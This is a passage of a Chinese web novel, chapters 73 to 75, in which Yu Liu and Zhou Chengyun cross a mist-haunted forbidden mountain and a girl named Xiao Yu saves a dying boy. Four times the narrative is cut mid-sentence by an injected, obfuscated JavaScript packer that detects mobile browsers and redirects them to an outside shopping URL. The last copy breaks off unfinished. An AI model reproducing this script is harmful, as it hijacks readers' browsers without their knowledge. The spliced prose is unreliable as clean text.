玉流虚伪笑笑:“是,走吧,周公子。” 禁山中没有东南西北之位这么一说,走哪儿全凭感觉。周承昀从她的对面过来,玉流就不打算再往那边去。 玉流说:“跟紧了,你自个儿落下我可不会回头来找你。” 周承昀连连点头:“会的。” 玉流原以为她和周承昀不熟,这段路可以安然度过。 她太乐观了。 “这山还真有意思,咦,是要往那边走吗……唉,玉大人请走慢一些。” “玉大人为什么每经过一棵树都要摸一下?” “好生稀奇,每天只照着这么阴呼呼的光,这些树怎么能长这么高,这么壮?” “树已经死了,”不间断的问话中,玉流终于回了一次,“知道为什么吗,因为话多。” “周承昀,你以为你在踏春吗,别跟个五六岁的孩童一样,见到什么都要说出来让别人知道。”玉流也第一次当着他的面叫了他的名字。 周承昀正努力理解她的话:“什么?” “周公子,你是个聪明人,你如果还这么多话,我不介意让你和它们一样。”玉流摸着树,这个“它们”是谁,无需多言。 “这……” 周承昀甫一出声,玉流便及时制止他接下来的废话:“不要觉得我做不出,只要我出去说是你自己不顾我的阻拦硬闯禁山,那么你死在这里面,周清文也拿我没有办法。” 周承昀的笑还挂在嘴角:“原来玉大人是嫌我话多了,之前还问我为何话少,如今又……唉,我闭嘴就是。” “周公子应该听过君子不立于危墙之下。我对你不甚了解,所以你是非君子我不在意,假设你是,你只要知道,于你而言,我就是危墙。” 玉流不再多言,拂过树皮,头也不回地往前走。 怔在原地的周承昀抿着唇,轻轻叹气,在白雾吃尽玉流的背影前抬脚跟上。 移眼过树,瞥见上面青白的痕迹,他笑了笑,原来是这样。 不知走了多久,玉流慢下来。一直落于她之后两步远的周承昀趁机开口:“玉大人,我觉得我们迷路了。” 玉流没理他,周承昀只好高声再说:“玉大人,我没有骗你。我看见了先前我在树下踢出来的石头,我们又重新走进了原来走过的路。” 他说的事玉流自然也发现了,跟着划痕走就是在兜圈,不跟着划痕走,就是无头苍蝇瞎撞。 “那周公子有何高见?” “我们要不要换条路走走?” 周承昀理着自己的思路:“不管是谁划下的十字,他不一定是在给大人做记号,也可能是再在为自己试路,就像我做的一样。” “周承昀,和你说实话吧,我在找人。” “我看出来了,我会帮玉大人的。” 玉流挑着眉,愿闻其详:“所以呢?” “谁都知道要走出这样的山得沿着一个方位走,走到山边上才行。但山的边太多了,所以,我们换个法子吧。”他说。 “比如说?” “脱离鬼打墙的局限。” 玉流顺着他指向的地方看去:“你想让我上树?” “是太难了吗,我以为以玉大人的身手,这是轻轻松松的一件事。” “你错了,树上也看不见,”玉流道,“白雾堪比妖鬼,会随人而动,它们,甚至能提前洞悉人心。” “你看。”玉流抬脚,刚有想上去的意图,伏地而走的白雾瞬间腾空而起,它们比玉流更快地飞到高低不一的树杈间。 稀薄的分层短暂出现,而后在玉流放弃上树的念头后又腾地回来。 周承昀既然对回天城痴迷,想来也知道禁山的古怪,玉流就直说了:“它们是不会舍得放过你我的,尤其是你,你太新鲜了。” “如果是这样……它们的行动是根据人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737623|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的想法,若玉大人没有想法,只是随性而行呢?” 这次玉流没急着否定他,想了想,而后问:“那你呢?” 周承昀:“我留在这里。” “这么信任我?我走了,它们可就会对准你一个人了,而且,我完全可以抛下你一走了之。” “我信玉大人是个信守承诺的人。” 玉流不置可否:“这是你自己说的,那你就等着吧。” 玉流一跃而起,只是转眼,人就冲破白雾消失不见。树顶偶有异动,弥散的白雾失去了准头找不到目标,转而仇视还能看见的人。 周承昀席地而坐,不慌不忙闭眼养神,一副心无旁骛的样子。 玉流不在,白雾也不再沉默,唠叨的鬼声随之重来。 “过去一刻钟了,过去两刻钟了,她还没回来耶。” “你被她抛弃啦,别想着她了,不如和我们玩吧。我们不会抛弃你的,所以快来快来吧……” “呀!你怎么不怕我们?” “为什么,为什么,为什么!” “啊啊啊啊啊你是那个人的儿子,我要告诉她你来了,你终于也来了……” “热闹热闹热闹,好热闹啊……” “嘻嘻,再和你说个消息,还有人也进来了……” 或尖利或稚嫩或粗劣的声音如条条白绫纠缠,引人窒息,它们聚拢在一起,此一声,彼一声,白绫渐渐拧成月白的铁笼,囚住此处唯一的活人。 周承昀两耳不闻笼外事,怡然自得地很。 如果忽略他额头和耳后不停冒出的细汗,和轻颤的眼睑的话…… 玉流站在树杈上:“唉,周承昀,周承昀,还活着吗周承昀,难道这么一下就被白雾骗得失了心?” 唤了数声的周承昀睁开略有不适的眼,瞬间的恍惚后,他仰头笑脸相看:“啊,玉大人回来了啊,看起来和离开时没有差别,玉大人果真一点也不怕这座山。” 笑话,都是多年未见的老熟人,她不怕再正常不过。 “你也不差,除了嘴唇又白了点,脸色似乎——”玉流盯着他的嘴角,突然止住了后续的话。 周承昀下意识摸上脸:“怎么了?” “没什么,”玉流摇头,和善地笑了笑,没有下树的意思,“我只想说周公子好像也不怕。” “也不是不怕。”手指解开纠结在一起的头发,遮过耳垂。 他仰头望,她低头看。冷脸藏在雾中,曾如一束纤细蔓子草的瘦弱身子如今看来像是长出了骨节,成了青葙子。 周承昀撑着地站起来,拍着坐得发麻的腿骨,笑道:“怎么说呢,其实我小时候趁着旁人不注意,曾经偷摸着进来过,玉大人不用怀疑,就是进了这座禁山。” “我说我运气好并非夸大其词,在当初几乎必死无疑的险境中,有人从天而降,帮了我一把。” 玉流扶着树干,微微低头,在如棉絮稠密的白雾中,她的眼锋也着了阴湿冷寒:“你在说什么?” 周承昀压在自己的唇瓣上,淡笑着朝她眨眼,竟然有些俏皮:“嘘,这是我的秘密之一,玉大人可千万要帮我保密。” 73. 山两面 “那你就不该说出来。”玉流从树上跳下,稳稳地落在离他三尺远的地方,双手交叠放在腰后,静静道。 “是不该。那时的氛围太好了,我也忘了形,望玉大人不要见怪,”周承昀做了一个下坠的手势,与久远的记忆两相比较,“唔,当年大概也是这样的从天而降。” 毫无关系的两句就这么衔接了起来,玉流觉得真心好笑,嘴角微弯,肩膀微抬,蛰伏的白雾便晃了晃,似乎被某种可怖的东西吓退。 他看见了,是一点黯淡的微光。 可惜光本身未有所觉,而遮天蔽日的白雾也只是被照亮了一个呼吸而已。 太过短暂。 玉流:“你的胆子够大。” 周承昀指尖点着下颌:“我的胆子的确挺大。” “还好我见的怪人多了去了,也不差你一个,而且这也不算是个坏消息,”玉流呼着气,“所以你故意告诉我你的秘密,为什么?” 周承昀很为难:“嗯……当个筹码?” “筹码?” 周承昀和周清文只有五分相像,脸上也没有他爹那么多的心眼:“想要表明我也是有用的,玉大人可别半路丢下我。” “哦,”老长的一声后,玉流说,“你不信任我。” 周承昀笑笑:“凡事在自己身上找原因比较好,是我不信任我自己。” 玉流:“你这个人还怪好的,行,我可以当做没听到。” 周承昀拱手:“多谢玉大人,那么玉大人在上面看到了什么?” 玉流侧身,往后半步摸上树干,觑看他,这让周承昀的后颈着下一缕凉意。 “什么都没看到,也就是说以你为中心,这一片除了你我,没有其余的活人。我要往更深处的地方去,”她得出一个结论,并带来一个疑问,“那你该怎么办?” 周承昀定定地看着她:“玉大人,我才说了请不要丢下我。” 玉流歪着头,无辜道:“你也说了,你不是出去过了吗,那你就去找当年的路再走一遍呗。” 周承昀的笑变了:“哈,玉大人这样,就不怕我出去后立即告知我父亲吗?” 玉流的眼睛压下来:“怎么,你是在威胁我吗?” “自然……”周承昀摇头,原先撑起的气势瞬间消逝,“自然不是。玉大人,当初是有人带着,而我全程都处在一个晕乎的状态,只凭我自己是走不出这座山的。” 玉流不知为何想到了那个匆匆入过耳的称呼:“仙女?” “我原本想说是好人来着,但也不是不可以。” 好人?玉流心说你在梦里见到的好人吧,比仙女还不可靠。禁山哪里来的好人,别说好人了,人都没有。 玉流吐出一口气:“你一定要跟着我是吗?” 周承昀死猪不怕开水烫:“我应该没有其他的选择了吧。” 玉流翻了翻眼皮。真是见了鬼了,怎么最近的人都听不懂好赖话。 “周承昀,我是好心。我们现在还在禁山外圈,你多摔多滚几次说不定能感动你的好人仙女,她也许会出来再救你一次。” 她舔着虎牙,很不适应说这种话的自己:“你知道深处是什么吗,是山谷,那儿的白雾更毒,你在这儿都受不了,进去更是死路一条。到时候别跟着我还没走到山的一半,人就先被白雾给玩死了。” 周承昀搓着手,颇有一丝后路有着落的窃喜:“那就拜托玉大人照顾了。” 玉流默然:“随便你。” 玉流提着十二分的精神,在左右间犹豫。 “要不我们往右边走吧。”周承昀轻声提议。 “是你的直觉还是白雾的直觉。” “是不是我的,有区别吗?” 玉流笑了笑:“没有,走吧。” 两人踩过硬土,咔嚓的碎音中,踩开仿佛仙境一般的雪雾,如白浪溅开。谁能想到这样的地方竟然是个稍有不慎就会万劫不复的深渊之境。 “玉大人有听过这样的说法吗,像白黑日夜,世间的山也有两面,”他热着阴冷的场子,翻着的手譬如明暗交叠,“阴面和阳面。咦,玉大人怎么看起来一点也不感兴趣,让我觉得……觉得像是听过了这样的话。” 玉流锁紧眉头,目视前方,看不出来是否在听:“不要妄自揣摩我的心意。” 随同这些话而来的,是泉水一点一点沸腾的声音。 咕噜咕噜,咕噜咕噜,一连串细密的浮泡啪啪地破灭,盖过从泉底断断续续上游的微弱之音。 玉流按住刺痛的额颞。 “那我能问问玉大人在哪一面吗?” “不知道,也不想知道。” 耳边响起嗡嗡的群蜂之鸣,而后忽尖,转而成了秃鸦的悲嚎。 玉流猝不及防地停下。 刺痛穿过额头直达脑子,隐痛的间隙,无人看见一缕白雾击过左右摇摆的身子。 “玉大人,小心——” 在周承昀惊呼扑来的同时,玉流慌神中脚后踩空。幸好周围树多,她摔落后被树拦下,不至于继续掉下去。 危机四伏的禁山,并不熟悉的山道,玉流睁着一双血红的眼睛,闻到了黑血的腥膻,听见了尖叫的求救,甚至在从不落雪的禁山里看见了遍地的白雪。 飘下的是雾,怎么掉在地上就变成了雪子? 还有脚印,血脚印,一个一个,尽头是躺在地上的死人……是死人吗? 不知道。 源源不断渗流的血将身下的积雪染得红黑,融化成一条细瘦的红流。 秃鸦在树顶盘旋,张喙嘶吼,振翅呼雾,眼中的红渐渐被黑取代,她仿佛能听见从八方而来的食人之欲。 “吃了,吃了,吃了就生生世世留在这里了……” 死寂的寒山,凭空出现的死人,是天赐的神物。 她想装作没有看见,耳中却有一道温柔的声音,说救救他,去救救他,但救他之前,你该先醒来…… “……玉大人,玉大人,玉大人——” 玉流猛地睁眼,急促的喘息声中颤动颠倒的眼前缓缓稳定,冰冷的手心覆上滚烫的额头,摸出一手的薄雾。 全都是假象。 没有湿黏的血,没有融化的雪,什么都没有,只有面露忧心的周承昀抓着斜长的树枝想要下来找她。 然后平地绊倒,五体投地地扑在她跟前。 玉流:“……” 玉流紧了紧眼睛,支起腰背看向别处,等他站起来,才问:你刚才……说了什么? 周承昀一点也不尴尬,悠然地拍去身上的土屑:“比起我说了什么,我能先问问玉大人方才怎么了吗,我以为只有我这样的人才会走不稳路。” 玉流:“原来你不知道,很好,那你刚刚见识到了,我中招了,被白雾占据了心智,看见了一些……” 玉流略停顿:“幻象。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742865|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其实也不能说是幻象,有一部分是真的,白雾找到了她的旧恨,并以此为契机,想要击垮她。 它们很聪明地找对了方向,问题是她有过那么一段记性很差的日子,以至于她分不清是自己经历的,还是被这群白雾灌输的。她是曾好心得犯蠢过,但那是的身边,还有一枚护身符在。 白雾过身的撕扯感犹在,玉流哑着不太舒服的嗓子说:“周承昀,越白稠的雾越可怕,只要你的心智够坚定,不要随意动摇你就会没事。” 作为一位自我认知清晰的学生,他求知若渴起来:“如果不够坚定呢,以我这样单纯的心性,我觉得我应该挺危险的,万一我中招了,玉大人能帮我一把吗?” “我会。” “真的吗?” 玉流扬起笑:“我会用最直接的法子,希望你的脸皮够厚。” “那就再好不过——啊,”他显然听懂了,捧着被头发遮掩的脸,“一定要这样吗?” “痛是最长记性的法子,”玉流往后看,“说起来,我觉得你得往里面走一点。” “为什么?” “因为你后面的白雾散了,”玉流平静地说出令人惊恐的实话,“看得出来是个断面。” 周承昀往后看,脚下也不小心往后挪了点:“嗯,什么断啊,啊,啊——” 他娘的,这都是什么倒霉蛋! 玉流斜着从断坡滑下,停在平缓的土面上。破面没有很陡,估计是某些年被暴雨冲出来的积土堆成的。人也还行,就是腰带缠住了枯枝,被倒吊了起来。 周承昀卑微极了:“劳烦玉大人救救我。” 玉流没急着答应。 “别的不说,你这运气,哈哈哈哈。”玉流微微抬头对上他被吊得充血的眼睛,毫不掩饰地嘲笑。 周承昀有苦说不出,咧着嘴磨着牙:“是好笑,所以能不能放我下来再笑。” “急什么啊,周公子平时是吃得不好吗,血气这么的不——”她又不自觉盯上他的嘴角,接着,笑就这么僵在眼尾。 从质疑到解疑只要一个眨眼。 玉流也慢慢咧开自己的嘴:“……不能当作不知道。” 玉流的好心肠无端地就多了起来。她在直接上树压断枝条和把他拉拽下来间,选择了更为温和的方式。 玉流用胳膊撑住他的脊背,再扬手飞掷匕首,腰带割断,他不用脑袋着地。 “多谢,多谢玉大人。”头身归位,他道谢。 “不用客气,”她浅浅笑着,主动道,“头晕吗,要我搀你走吗?” 他扶着头:“走是要走的,但是,玉大人知道我们现在在哪儿了吗?” 玉流虚假地笑着:“你不知道吗,我还以为你知道,这毕竟是你的直觉,不是吗?” 他的神情冻住,低头对上她似笑非笑的眼睛,放下手:“啊……也可以这么说。” 于是乎,如回山倒海般袭来的茫茫白雾似乎找到了期待已久的猎物,卷起如烟如雨的淡香,似要将两人吞没。 玉流脸色极寒,握紧被拍开的手,浓雾已彻底将他们隔断。她冷着声喊:“你人呢,给我出来!” “我做不到。” “为什么!” 仿若一份突如其来的诀别之书,书中只有一句留言,他在极近之处被白雾蚕食,声音又从极远的地方传来。 “因为我们就站在山之阴阳界,我在一面,而你在另一面……” 74. 不是雪 “杳霭流玉,悠悠花香,”轻柔的歌声从破陋的屋顶飘下来,“力之于时,声之于羌……” “这里有的是雾霭,没有花香,所以你不要再唱了。还有,你活着的时候没有人和你说过吗,你唱歌很难听,真的很难听!” 一团很淡的雾霭坠落,幻化出女子的轮廓,对于小姑娘难听的抱怨温柔地一笑置之,熟练道:“你不觉得这样描述起来,这座山也没有那么可怕了吗?” “还有,”透白的拳头努过来,推搡着被中瘦弱蜷曲的人儿,她催促道,“太阳晒屁股了,赶紧起来。” “这里没有太阳,不要吵我,”从两床旧棉被下冒出更加不乐的声音,“当鬼不累吗,不要再整天跟着我了,留着点精力对付那些白雾吧。” 女鬼玩笑道:“累?不用担心,等我死透了,有的是时间休息。” 她从被子里钻出来,睡得蒙了一脸的头发后一双眼睛黑亮有神,静静地盯着上方浮着的女鬼一会儿后,咻地又钻回了被子中。 “唉,你怎么回事?” “不笑就算了,怎么话都不说?” “一个才几岁的小姑娘,怎么和三四十岁一样,干嘛这么老成?” 一连串的疑问砸在被子上,她烦了:“闭嘴啊,呆在这里我没疯已经是最大的仁慈了。” “疯什么疯,有我在你怎么会发疯,快起来,让姐姐抱抱。” 被子里的人沉默了,而后闷声鄙夷道:“几岁还叫姐姐,你可真不要脸。” 说的话是不好听的,人还是配合地掀开被子起来了,湿冷的雾霭搭在肩头,留下一点点的水痕。 被子外是日夜不变的白雾遮住天,小姑娘扒开帘子一样的长发别到耳后,黑亮的双眸冷寂下来。 她跳下床,踩上鞋子,拿起地上的碳枝在墙上画下一竖,再拿起鸦羽缝成的毡帽说:“走吧姐姐,我们去巡山。” 从出生起便困在这座山里,整日无所事事,能证明自己还活着的唯一乐趣就是巡山。 说是巡山,其实是赌着半条命走到山麓那块,这是她能走到的最远的,也是离山外最近的地方,但她出不了山。 运气好的话能找到山下人送来的吃食,支撑她再活一两个月,运气不好的话就啃树皮,和老天爷比谁的命更长。 每当这个时候,陪了她多年的女鬼姐姐就会精准地读出她的心事,然后像个操心长辈一样喋喋不休地和小辈讲道理:“不要这么悲观,你都走了那么多遍了,怎么可能会死在路上?再说了,有姐姐在,姐姐会帮你的。” “是吗?” 遍地亡灵的深山,犹如深埋地底的黄泉,除了她一个活人,有的只有无尽无休的白雾,还有这个异类的话痨女鬼。 她拍着手臂,拂开一走出屋子就扑上来的白雾。看不见的肩膀上水痕未干,像是符纸上用丹砂写下的墨箓,在躁动不安分的白雾靠近的瞬间散发出肉眼不可见的微光。 “姐姐你说大话的时候能不能先过过脑子,你要是有这能耐,干嘛不挣脱山鬼的束缚和白雾的围剿去投胎?何苦和我一起永远困死在这座山里。” 女鬼也不顺着她,飘着叉腰道:“唉,我说小姑娘,你说话的时候能不能也讲讲道理,是我缠着你不放吗,难道不是你一个人太害怕了太孤独了,所以才抓着我,不让我走的吗?” 她矢口否认:“瞎说。” “我怎么就瞎说了呢,”很浅的白影子落地学着人走路,“那要不我们也来赌一次吧,等找到了能让你不会再害怕和孤独的那个人,你再回头看看还能不能找到我呢……嗯,你怎么又不说话了?” 小姑娘哽着喉咙,小声问:“真的吗?” “当然是真的,姐姐有骗过你吗,等我走的时候可不要哭哦,所以现在,继续忍受我吧,小姑娘。” 她垂下头点了点,立即又摇了摇:“那我不是完了吗,这里根本不会,也不可能再有人上来的。” 女鬼摇着不存在的手指,悠哉道:“不一定,不一定。” 她接着说:“你知道大殷多少人吗,乐观些,肯定会有那么一两个不长眼的,不知什么时候就误打误撞送上来了呢。” 她有点无语:“大婶……” “叫姐姐。”女鬼凑上来,冰冷的气息拂过面颊,温温柔柔地警告。 她屈服了:“……姐姐,你当山下那么多的官兵是摆设吗,更别说还有那个人在……” 说到那个人,她的眼里尽是不符合她这个年纪的愤恨。她轻声低语:“为什么会忘了呢,都变成鬼了为什么会忘呢,我要是你,就直接化成厉鬼去找他索命。” 最后几个字几乎是磨着齿根说出来的,女鬼听不清,只能感受到她的情绪激变,吐吐舌头好奇问:“啊啊啊,你好凶啊,这个他是谁呦,是你讨厌的人吗?” 她紧闭着嘴,不知道要怎么回答。于是她选择不答,扭头就往里走。 女鬼抱着胳膊,只有五官轮廓的脸慢慢失了笑,她盯着浑身上下都裹得严严实实,只露出小半张脸的小姑娘的背影,雾霭聚成的身子忽隐忽现,不知道在想些什么。 在白雾缠绕的山里,娇小瘦弱的小姑娘犹如盲人摸着树走。从她记事起不知已经在这里走过几回了,粗糙干裂的树皮都被摸得顺滑。 手指卡过凹槽,忽地,一阵风吹来,鼻头耸动间,她闻到了浓郁的血腥,转瞬即逝。 这样的气息,在遍地灰白黑的山林里,格外的诡异。 被毡帽盖住的眼皮猛然跳动,树皮因为突然发力的手指而发出碎裂的声音,在如根根笔杆伫立的黑树林间回荡。 一个极为不详的预感涌上心头,极短暂的停顿后,脚步一转,她换到了右边。 飘上来的女鬼一愣:“为什么不走原来的路?” 因为不想让她发现。 “想换就换了,没有为什么。” “真的吗,你今天还怪——” 女鬼的话未能说完,凄厉的风声中,山间如旋流回环的秃鸦像是收到了什么指令,带动周遭的白雾一起,犹如一支箭羽飞射。 她举着袖子挡住从身侧呼啸而过的白雾,叫着女鬼:“姐姐,我们就走这条——姐姐,姐姐?” 女鬼消失了一瞬,再次出现时拽着她的手,用不容置喙的口吻道:“走,我们也过去。” 姐姐跟着白雾过去看过了。这个认知一冒出来,她用力甩开,冷冷回绝:“不要。” “不可以,不要装作没看见。”女鬼好声好气地说。 “我就是没看见,我不会,也不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13750080|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多管闲事。”她执拗地拒绝,堵住耳朵,只顾往前走。 “是人,还活着。” “不,已经死了。” “他还活着。” “死了!” “他还活着!” “死了死了死了!” “时瑀,你给我站住!时瑀!” 她终于停下了,怒意让她高声反驳:“不要这么喊我!” “好吧,”这位不知哪一年凭空出现的,在她身边陪守多年的女鬼第一次请求她,“小瑀,救救他吧。” 小瑀闭上眼,擦去眼睫上快要落下的水滴:“我不是郎中,我救不了人。” “我教你,我告诉你怎么救人。” “你有病啊,”小瑀生气了,“死了还要救人!那你怎么救不了自己!” “唉,”再老成的孩子依旧是孩子,孩子藏不了什么情绪。女鬼飘过来,蹲下环住她,“医者不能自医,你就当是做件好事吧。再说了,山里来了人,你该高兴的,但是不要表现出来,知道了吗?” ——不要生气,不要愤怒,如果我不在了,在寒山里,你要学会保护自己。 小瑀俯身,凭着感觉摸着女鬼软乎的头顶。无言中,她们达成了共识。 在女鬼的指引下,她跳下山坡,绕过了白雾和秃鸦的追堵,沿着只要滴下就会被土地和白雾销蚀的淡黑血脚印,她走到了一处山洞前。 黢黑的尽头,隐约躺着一个人。 她盯着山洞看了一会儿,克服着内心的恐惧,握紧拳头小心地走了进去。 女鬼先她一步,蹲坐在他身边,驱散伏在他伤口处啃食的白雾,再让小瑀把他翻过来看看。 “他看起来比你大上那么几岁,长得好像也还不错。”好心的女鬼说。 小瑀充耳不闻,只问道:“真的要救吗?” 女鬼:“救,但是能不能活就看他自己的造化了。身上的伤太重,失血太多,白雾又不会轻易放过他,这样吧,你把衣服撕成布条先给他止血。” 小瑀闻言走到洞壁边缘,闭眼摸了会儿,找到一个布兜子。 女鬼瞪大眼睛:“你还藏了宝贝?” 小瑀淡淡回复:“不是我。” 她从里面找到一个瓷瓶,晃了晃,随即回来扒下少年的衣服,利落地撕开。 女鬼:“你?” 小瑀:“再废话你自己动手。” 女鬼:“……” 她倒药的动作太粗暴,昏死过去的少年被噬心之痛疼醒,张着嘴,发出啊啊的无力呓语。 小瑀也不顾及他快死了,捏着他的下巴凶声道:“喂,叫什么?” 满嘴的血污中,她勉强辨认出两个嘶哑的字眼:“阿什么……妖?遥?杳?要?” “阿、阿……” “遥?阿遥是吗?” 濒死的少年眼前只有一团灿白的影子,像夜落雪后的初晴天,一起流浪的伙伴们堆砌的雪人,光照在雪粒上,他看见盈盈的焕彩。 直到雪人俯下脸,出了声,他才用不清醒的脑子想明白,哦,不是雪,更不是雪人。 那是雪变成的精怪吗? 精怪来救他了。 在失去意识前,他拼劲最后一丝气力:“……阿遥。” 75. 凑一双 她突然说:“错了。” 女鬼茫然:“什么错了?” “我问错了,我不该问他叫什么的。”小瑀阴着小脸盯着昏死过去的少年,半晌,丢开倒空的药瓶,挥起拳头就要打下去,被女鬼赶忙抱住。 “等等,等等,有什么事先和我说一说……你想问他什么?” 小瑀觉得女鬼变蠢了:“当然是问他的来历,问他怎么进的寒山,问他进来要做什么。” “你觉得这个更重要?” “那不然呢,万一他是山下那些人派来害我的怎么办,我也有病救仇人?” 女鬼哽住了,和她好声商量:“……小瑀,他快死了,这么严重的伤,不像是假的。” “那又如何,没听说过苦肉计吗,说不定这是伪装,就是用来骗你这种死了还要发慈悲的鬼。” 凶着脸的小姑娘用更凶的语气说完,抬脚踩到他的伤口处,才止住的血汩汩地流出来,幽闭的洞穴里又满溢铁锈的膻气,而躺在地上的少年只是皱皱眉心,再无其余的回应。 女鬼小声在她耳边说:“你要不要让他吊回一口气起,等他能说话了再严刑拷打也不迟,毕竟这是在寒山里头,没有人想来就能来,想走就能走的。” 小瑀听着她的建议,戳穿她的小心思:“姐姐,当坏人做坏事前不要提要求。” 女鬼知道她是刀子嘴豆腐心,这就是委婉答应了:“知道了知道了,小姑娘大人有大量。” 小瑀哼着气:“那你留下照顾他,我自己去山麓那块。” 女鬼慢了半拍:“不要我陪你吗?” 她快走到洞口了:“我还活着,他快死了,你觉得哪边危险点?” 女鬼扶着脑袋认真做选择的时候,小瑀已经跳出了这片群雾环伺的小丘,她被这个半死不活的人拖慢了脚步,不想再慢慢走过去了。 一刻钟后,杂乱蔽目的雪雾与黑树之外,有一道久立的目光,在听见山中稀碎的脚步声后当即如水波摇荡起来。 她拉下毡帽,自顾自捡起被丢上来的包袱,头也不回,转身就走。 一支鸦羽被风吹下,落在肩头。小瑀浑然不觉,那儿还剩有的丁点痕迹幻成一缕清白的霭,接住黑羽,送至山外…… 接下来一人一鬼的日子多了一个盼头,但她总是要提醒女鬼,她不可能一天十二个时辰都守着他,秉承着“能活就能活,死了也与我无关”的道理,最多发发善心,隔几天过来看看。 这位名叫阿遥的少年几乎永远都在昏迷,偶尔冒出“水水水”的呢喃。 小瑀日常当作听不见,直到他伤口感染,浑身都烧了起来,她才拿打湿的白帕子点在他干裂的唇瓣上,又在女鬼姐姐的催促下点燃那支从灰暗的墙角下翻出的蜡烛。 在无霜无雪却如凛冬阴冷的山中,烛如轮日,予盛世中飘苦伶仃的流人微末暖意。 “我会被记恨上的。”小瑀仿佛能听见洞外白雾龇牙撕舌的辱骂。 “怕什么,有姐姐在呢,”女鬼慢慢挪到洞口,指着地上的人,“你看见了吗?” 小瑀坐在地上护着蜡烛:“看见什么?” “除了平时要露出来的脸和脖子,他身上没有一块好肉,那几处能见白骨的砍伤就不说了,衣服下面有的是细密的刀剑伤痕。” 女鬼蹲在洞口,无神的眼睛落在被淡光照着的阿遥身上:“腰那儿更是有一条狰狞可怖的伤疤,沿着盆骨蜿蜒至肋骨,像一条蜈蚣爬过。” 死去的杏林圣手辛辣点评:“他当时估计很惨,说不定肠子都掉出来了,缝合的手法也很粗糙,不然不会留下这样的伤疤。” “姐姐,你是色鬼吗,怎么能偷看别人的身子,你真是不要脸。” “再说一遍,我是大夫,男的女的在我眼里没有区别,再说了,衣服难道不是你扒下的?” “我避嫌,我不看。” 女鬼要跳脚了:“你——” “走了。” 一肚子的话被悉数堵了回去:“这就走了?” “他今天不是还活着吗,确定好了就走了。你若是想要留下陪他吹阴风,那你就留下,反正我要回去了。” 女鬼扭捏:“孤男寡鬼不合适,那我也走吧。” 小瑀挑起眼皮,有那么一瞬间的无话。她拿着小刀砍断蜡烛,留下一小截卡在石壁间,有石头的遮蔽,不至于一会儿就熄灭。 她拿着另一半,善解鬼意地问:“要搭在我身上回去吗?” 女鬼很有骨气地拒绝:“不用,我很好。” “哦,那你跟不上不要大叫。” “不会的。” 然而没过多久,女鬼就因跟不上她的脚速而焦急:“等等我,等等,我累,我们慢一点……” “不要,我困了,要回去睡觉。” 她的眼尾朝向斜后方,簇簇逼近的白雾不太对劲。长到这个年纪,她和白雾已经有了相安无事的相处之道,它们不犯她,她也不会做出什么过激的举止。 就算她刚才燃了蜡烛,一次而已,它们不该这么躁动的。 女鬼还在叫唤:“等你死了有的是年岁可以睡觉,不急这么一会儿的,好了,慢点走,等等姐姐。” “好。”小瑀毫无预兆地停在一棵树下。 “唉,你这次居然——” “别说话了,你听不见吗,”小瑀压低嗓子,安静的山林里,有一道不是白雾和秃鸦发出的异响,沙沙沙,沙沙沙,令她毛骨悚然,“有人在跟着我。” “你在说什么,怎么可能有人跟着你,阿遥不是还没——” 小瑀不再听她,她信自己的直觉,卷起袖子脚踩树干,一溜烟就爬到枝杈上。 女鬼在底下汗颜:“谁家好姑娘和小野猴一样,上蹿下跳的。” 嫌弃是嫌弃,她还是要飘上去陪着:“哪儿呢,我怎么没看见?” “嘘。” 白纱一样浮动的雾气中,渐渐走来一道秀绝的人影,他失去了追踪的目标,又分不清东南西北,只能暂且停一停,思考该如何走。 跟小猫一样缩在树杈间的小瑀低声:“你是什么绝世乌鸦嘴吗?” 女鬼惊喜:“呀!又来一个诶,能凑一双了。” 这儿毗邻山谷边,最毒的白雾群居于此,小瑀无情张嘴:“是能凑一双,他也快完了。” 话音落下,本就朦胧的山间瞬间如同白云过境,遮空蔽日的白雾如十五的白浪朝他这座水岸扑来。 浪水中,一张张无形的巨嘴撕咬吞食,她们听见了雾中的猎物发出一声沉闷的痛呼。 须臾间,无数抹深红在白雾中如细线串引,织成密不漏风的渔网。 她听见了白雾说:“他太新鲜了。” 被看中的猎物竭尽全力挣脱出白雾的禁锢,踉跄地撞上后方的古树,震起树顶的群鸦,他贴着树干,像是失去牵引一般,滑落在地上。 白雾等的就是这个时候,当即化作漫天飞雪,清凌凌地落在他身上,似乎要将他全都覆盖。 女鬼:“他中招了。” “啊,”小瑀假装惊讶,“好惨。” 女鬼:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 